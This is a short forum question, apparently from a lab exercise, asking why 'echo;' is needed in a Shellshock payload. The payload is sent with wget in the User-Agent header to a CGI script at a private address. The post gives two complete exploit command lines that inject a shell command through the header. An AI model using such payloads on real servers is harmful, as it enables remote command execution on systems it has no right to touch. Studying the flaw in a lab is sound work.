How does echo; helps in this context

Question

The below line works just fine and gets the file-

wget -U "() { :;}; echo; /bin/task1 hello" http://10.0.0.1:6262/cgi-bin/shellshock.cgi

However, if I skip the "echo;", it throws 500 internal server error.

wget -U "() { :;}; /bin/task1 hello" http://10.0.0.1:6262/cgi-bin/shellshock.cgi

May I know what is "echo;" doing in this context to avoid the error?

Thanks.